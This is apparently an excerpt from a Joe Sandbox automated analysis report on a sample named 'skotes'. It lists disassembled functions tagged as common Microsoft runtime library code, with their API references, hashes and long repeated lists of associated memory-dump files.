Function 009169DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00916A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00916A51
List.LIBCONCRT ref: 00916A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00916A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00916AB9
List.LIBCONCRT ref: 00916AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00916B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00916B20
List.LIBCONCRT ref: 00916B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00916B68

Part of subcall function 00915EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00915EF7
Part of subcall function 00915EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00915F09

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 5b1c31429e193a5a8ce66d41c30a2080dfea781f5451dacd795514e39fd28de4
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 3C513C75F0020DAFDB08DF64C595BEDB7B8BF48304F1540A9E915AB682DB30AE85CB90

Function 009252A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 009253A0
type_info::operator==.LIBVCRUNTIME ref: 009253C7
___TypeMatch.LIBVCRUNTIME ref: 009254D3
IsInExceptionSpec.LIBVCRUNTIME ref: 009255AE
CallUnexpected.LIBVCRUNTIME ref: 00925650

Strings

csm, xrefs: 0092534D
csm, xrefs: 009253FE
csm, xrefs: 009252E0

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 305edb3e005444722eca398ad8a79f52a17aa27f5052915893fbb42757d47178
Instruction ID: b318ad6600d32683d639cd25cd8cd4f6276b78e6df17a8c1c82714d592a2ef47
Opcode Fuzzy Hash: 305edb3e005444722eca398ad8a79f52a17aa27f5052915893fbb42757d47178
Instruction Fuzzy Hash: 17C1AB71C00629EFCF15DFA4E880AAEBBB9BF94311F52415AF8016B21AD370DA51CF91

Function 00917364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 009173B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 009173F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0091740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00917419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00917440

Strings

ppVirtualProcessorRoots, xrefs: 00917438
count, xrefs: 0091737E

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: e8473eff15334d541a7e6320b050b0b225aeeb44fe399476091290e168c5919a
Instruction ID: 14ebb866745e8fe5ff436def68b0adeef4471cfeee291e8e3429aac9d82ed97c
Opcode Fuzzy Hash: e8473eff15334d541a7e6320b050b0b225aeeb44fe399476091290e168c5919a
Instruction Fuzzy Hash: BB215134B0420EAFCB10EF94D495AEDBBB9BF89314F144069E915973A1DB30AE81DF90

Function 009178E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00917903

Part of subcall function 00915CB8: __EH_prolog3_catch.LIBCMT ref: 00915CBF
Part of subcall function 00915CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00915CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0091792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00917936

Part of subcall function 00915CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00915D70
Part of subcall function 00915CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00915D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00917982
Concurrency::location::_Assign.LIBCMT ref: 009179A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 009179AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 009179BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 009179ED

Part of subcall function 0091691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00916942
Part of subcall function 0091691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00916965

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

